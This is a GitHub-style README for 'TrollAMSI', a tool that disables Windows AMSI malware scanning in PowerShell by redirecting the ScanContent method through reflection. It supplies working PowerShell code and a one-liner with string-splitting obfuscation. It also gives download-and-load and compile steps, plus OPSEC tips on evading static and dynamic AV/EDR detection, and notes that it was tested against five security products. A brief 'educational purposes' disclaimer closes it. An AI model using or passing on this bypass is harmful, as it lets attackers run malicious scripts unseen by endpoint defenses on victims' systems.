TrollAMSI

Note: Every other technique in the internet patches different amsi function. We are NOT patching the actual function here.

Matt Graeber first introduced the technique to bypass AMSI by using reflection in 2016. The technique primarily targets field attributes. Source: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#Using-Matt-Graebers-Reflection-method. Here, we bring us back to 2016 by targetting methods which I call a new technique "Reflection with method swapping" (i.e essentially monkeypatching). In our specific case, we use reflection to get a handle to the "ScanContent" method and updates it to point to a method we control. Additionally, this opens doors for other techniques such as ETW and CLM possibly(?). AMSI bypasses are usually detected at 2 stages:

1. The attempt to bypass -> both static and dynamic
2. The bypass itself -> Post bypass, the signatures left behind

The beauty of this technique as opposed to other AMSI bypass techniques such as byte patching etc for the 2 detections mentioned above is:

1. There is a low detection surface:
   • statically: because the code profile is so short and it is hard to apply a signature on any part of the common .NET functionality used
   • dynmically: because of the lack of hooked win32 API calls
2. Because we are modifying JIT/IL memory which is hard for AV/EDR to monitor or has not been monitored at this point by a lot of vendors

! UPDATE 31/05/2024 
! For some security products, modify method M to pass in empty argument string c.
! For CSHARP example, private static int M(string c, string s) { c = ""; return 1; }
! For POWERSHELL example, class TrollAMSI{static [int] M([string]$c, [string]$s){ $c = ""; return 1}}

! UPDATE 05/06/2024 
! Refer to TrollAMSIdotnet for amsi bypass for Assembly.Load()

Benefits

• No P/Invoke or win32 API calls used such as VirtualProtect hence WAAAAAY more opsec safe
• No amsi.dll patching or byte patching for that matter

Usage

Raw Powershell

class TrollAMSI{static [int] M([string]$c, [string]$s){return 1}}
$o = [Ref].Assembly.GetType('System.Ma'+'nag'+'eme'+'nt.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls').GetMethods('N'+'onPu'+'blic,st'+'at'+'ic') | Where-Object Name -eq ScanContent
$t = [TrollAMSI].GetMethods() | Where-Object Name -eq 'M'
#[System.Runtime.CompilerServices.RuntimeHelpers]::PrepareMethod($t.MethodHandle)  
#[System.Runtime.CompilerServices.RuntimeHelpers]::PrepareMethod($o.MethodHandle)
[System.Runtime.InteropServices.Marshal]::Copy(@([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$t.MethodHandle.Value + [long]8)),0, [long]$o.MethodHandle.Value + [long]8,1)

Raw Powershell One-Liner

class TrollAMSI{static [int] M([string]$c, [string]$s){return 1}}[System.Runtime.InteropServices.Marshal]::Copy(@([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]([TrollAMSI].GetMethods() | Where-Object Name -eq 'M').MethodHandle.Value + [long]8)),0, [long]([Ref].Assembly.GetType('System.Ma'+'nag'+'eme'+'nt.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls').GetMethods('N'+'onPu'+'blic,st'+'at'+'ic') | Where-Object Name -eq ScanContent).MethodHandle.Value + [long]8,1)

Add-Type

>$code = (iwr https://raw.githubusercontent.com/cybersectroll/TrollAMSI/main/TrollAMSI.cs).content
>Add-Type $code
>[TrollAMSI]::troll()

Compiled x64

>c:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /t:library /out:TrollAMSI.dll TrollAMSI.cs /reference:c:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
>[System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("C:\TrollAMSI.dll"))
>[TrollAMSI]::troll()

OPSEC

• STATIC: obfuscate "AmsiUtils" and "ScanContent" maybe?
• DYNAMIC: Nothing much really. Note that Add-Type method will leave disk artifacts, whereas hosting the compiled DLL on a webserver and using Load() is completely in memory

TESTING

• Tested on 5 AV/EDR products
• Eitherway security products pay greater emphasis to amsi.dll and the relevant winapi calls for byte patching which we do not touch

Wishlist

• same technique should/could be applicable to bypass
  • ETW write
  • We can apply the same trick on CLM enforcement -> Refer to TrollCLM
  • maybe there's more?

Credits

1. Matt Graeber original amsi bypass in 2016
2. https://github.com/calebstewart/bypass-clm

Disclaimer

Should only be used for educational purposes!